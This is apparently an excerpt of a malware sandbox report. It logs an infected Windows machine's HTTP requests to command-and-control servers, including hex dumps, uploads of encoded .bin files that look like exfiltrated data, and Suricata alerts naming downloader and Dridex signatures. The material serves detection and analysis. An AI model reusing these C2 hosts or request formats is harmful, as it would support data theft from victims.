Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 31 35 62 65 31 64 33 65 37 62 34 66 61 66 39 30 34 62 66 34 61 62 35 64 36 61 32 39 34 38 33 65 61 37 63 61 33 34 61 36 32 61 38 66 63 35 34 36 31 37 39 62 37 38 39 32 61 66 64 33 35 31 30 38 39 66 31 31 63 31 33 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 2d 2d 0d 0a Data Ascii: ------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="token"215be1d3e7b4faf904bf4ab5d6a29483ea7ca34a62a8fc546179b7892afd351089f11c13------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="file"------FCFIJEBFCGDAAKFHIDBF--
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------gGii4ZZAr8dAp24CG7h2GTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 67 47 69 69 34 5a 5a 41 72 38 64 41 70 32 34 43 47 37 68 32 47 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 6f 68 6f 77 75 73 69 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f6 84 8e a6 f8 55 21 0e f9 20 50 89 08 9a d9 2c be 3d ee 2a 60 aa 3e e2 01 91 97 e3 88 6b 50 85 0a 4c b2 45 41 40 b7 7c ef 4c fb 20 80 cc 9a b9 f7 4b a3 78 b3 a7 6f 40 a1 42 cc 8d 09 13 b3 8f 4c 5d ff 07 3d dc 33 f5 a6 04 36 61 20 24 46 f5 77 b9 a5 11 04 31 70 2c 6f 76 6e 88 3b 81 e4 6f e0 b0 ab 2e 5f 5e 1e de 80 c4 c6 a4 a9 b0 70 4f 45 30 7b a2 7a 2e 41 d8 dd 75 bf 84 c1 23 ed 5d dd 07 b0 c6 53 e6 b1 e2 73 06 ba c5 61 6e 5d 76 e3 36 0b 72 18 cb 21 aa 2b ad 95 c1 11 0f 0c 09 80 fc 07 d0 36 88 89 ec 74 31 6f 85 73 10 52 96 b6 75 95 3c 66 ca f9 de a3 46 46 3d 2b 0c 0d 3d 7f 88 12 57 06 d7 33 09 83 52 25 c5 6e 66 db 19 37 20 74 1f b9 df d8 32 db 39 82 94 3c 82 c7 00 59 fa a6 79 3f 96 e7 58 6d b2 c5 14 db ae ca d0 18 ff 80 e4 ec 6b 79 fd 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 67 47 69 69 34 5a 5a 41 72 38 64 41 70 32 34 43 47 37 68 32 47 54 2d 2d 0d 0a Data Ascii: --------------------------gGii4ZZAr8dAp24CG7h2GTContent-Disposition: form-data; name="file"; filename="Dohowusis.bin"Content-Type: application/octet-streamU! P,=*`>kPLEA@\|L Kxo@BL]=36a $Fw1p,ovn;o._^pOE0{z.Au#]Ssan]v6r!+6t1osRu<fFF=+=W3R%nf7 t29<Yy?Xmky--------------------------gGii4ZZAr8dAp24CG7h2GT--
Source: global traffic	HTTP traffic detected: POST /Fru7Nk9/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.209Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: /Content-Length: 90954Content-Type: multipart/form-data; boundary=------------------------xXtC0HgQuKa3qwExBowwc2Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 78 58 74 43 30 48 67 51 75 4b 61 33 71 77 45 78 42 6f 77 77 63 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 65 73 61 66 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a e8 5c 44 c4 32 2e 43 a8 82 1b 85 c2 fb d6 be 2e 71 ca 9c 5f b7 ee 5c d9 b3 1e 5d 24 6f ed f9 42 d4 96 6e a5 c8 db 78 1c 16 ef 2d 37 16 45 f2 9c 54 b6 5a 32 c1 ca 17 3a 87 9d 66 d7 3f 05 92 f2 66 1a c6 ca 1a 68 f4 bc c4 3c 2c e9 56 47 98 b5 74 11 c1 77 26 a9 9f 85 78 18 7d ca cd 3d 96 52 67 d5 b3 3d 14 af c9 cd f5 62 36 da 07 4b 63 d3 36 f7 78 8d 68 9b 48 58 3b 8d ae fc a8 80 de 83 89 be eb ce f0 51 02 6b 26 3b a7 86 10 d4 1a f4 1e 63 b3 47 6b ae cd ef 10 a3 64 53 2e 60 7b bb 93 e4 5e b9 2c cb c2 83 49 ad 35 85 74 73 27 24 42 34 2a 13 0e e9 93 ce 68 26 5d 50 8a f6 fd 76 69 f9 5e e6 13 43 c9 17 ed e2 d7 6e dd 82 41 32 77 4e a0 91 14 49 cc b3 6c fa 3e 26 b8 29 75 e4 d5 08 47 a9 6b 38 16 09 b2 3c ce 3c c3 80 30 f7 ab 55 2d 2f c2 9b 8a fb f7 3b 5c fb 38 0c df 6d 9e 0e 2f 05 c3 5f e8 4b 05 b7 96 da ce 1f 4e c5 ea 0b b2 9a 60 8c 9c 68 36 cf 5f 97 1a 78 83 57 ef 07 4a 6b 02 3c 15 f5 dc f3 76 d4 fe c8 2b 91 22 b4 73 7d 33 d2 ea 97 21 d3 83 68 8e 5e 9e e8 b7 f3 28 48 2c 1e ac 61 91 91 f5 c0 21 e4 43 2f e7 6b 87 a6 c4 83 98 77 db 7e b8 f0 a5 e1 b6 61 45 c2 23 80 b5 b1 f5 13 60 19 dc 5a db ad 33 dd a9 65 d7 fd f0 6b 54 4a 0f 23 05 2e 75 3e 48 6c 19 4e 3e dd ab 8d 71 e6 26 4d 53 a5 6c 8c 09 43 58 44 38 12 c1 84 7b 3a 46 e3 87 44 57 cc 9a 7a 4a 94 ce b2 65 96 4c d5 08 d5 6d fc 42 94 41 c4 b0 77 fc ec 3d be 0e e5 fc 75 77 a3 94 1c f7 7b ef 41 78 b5 d0 3c 4e aa 03 7a 1a b0 42 37 ab 5f d5 6c 9a 54 8c cd f2 2b e8 0f ad e3 1a 04 06 c9 91 ca 3a d0 96 55 68 5c 32 8c 8e c0 98 31 8e 0b ac 8c 7d b5 16 59 df f6 96 ee 07 59 8b 11 0c 4a e1 e8 f7 31 b0 54 b5 4d 48 14 de f0 8f 87 1f cd b9 6c 3b ad 2d f8 08 23 c3 6c 2f 68 2d 2d 45 99 84 51 02 69 00 dc 44 f4 23 43 3f 27 6f 2b ad 56 b2 66 e6 c7 93 e9 c2 b6 7c d4 d4 f8 ba 0e 5b 71 d6 b5 c7 af 3e 09 a4 50 3b e0 01 be 09 c2 ba 39 09 06 08 5f e7 d3 2b 7f 0a 2a 0b 6b f4 8a 72 04 eb a7 fe e4 a5 bb b8 05 da f0 b6 94 3f d6 56 d9 ab 36 29 e1 3d 75 28 50 c2 0b d4 ff 46 a4 81 38 f7 d8 1d 4f ea db 9f 5f 49 13 20 04 d6 3f 0d 63 20 66 a8 1c d0 be 50 ea 8a 21 78 e9 d4 fa d9 54 9c 98 6c aa b2 26 3c f5 bb 6d bd d8 2a 08 ed 7e ca cc a1 5a 85 d4 34 dc e1 ae 81 36 84 e1 1f fa f4 c3 7a 74 39 a6 56 ea a9 5e 52 43 64 4f 2d 9e 4c 95 7f 56 b5 bc 6a b7 67 8a bd e6 dd 88 f7 60 a0 a8 15 cc fe 25 fa 66 c7 bb 8a d3 e2 83 e9 b5 bf 85 d4 41 bd e4 04 fc a0 c4 25 9a 68 07 67 bc 9f 71 6d c1 b3 db b6 9d

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49712 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49708 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49711 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49719 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49715 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49720 -> 104.121.10.34:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49717 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49722 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49721 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49724 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49725 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49709 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028765 - Severity 3 - ET JA3 Hash - [Abuse.ch] Possible Dridex : 192.168.2.9:49726 -> 135.181.65.216:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49727 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49713 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49729 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49723 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49730 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49733 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49735 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49739 -> 185.215.113.209:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49767 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49782 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49793 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49797 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49800 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49804 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49811 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49812 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49817 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49823 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49829 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49830 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49831 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49838 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49845 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49843 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49824 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49849 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49847 -> 104.21.30.13:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49844 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49853 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49858 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49857 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49862 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49867 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49870 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49874 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49882 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49880 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49884 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49889 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49907 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49914 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49936 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49943 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49964 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49981 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49982 -> 104.21.63.229:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49716 -> 185.166.143.48:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 45Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GZ241KU5ZFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12795Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XULJ3HSYPT2AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15025Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QB1A2311IXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20529Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=T12OCLU9XABWELUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1183Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4MSEE8L25ME8MOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587215Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BF3MLWWFB3I3NG4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12826Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MAPC4QBP8K2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15020Host: pancakedipyps.click
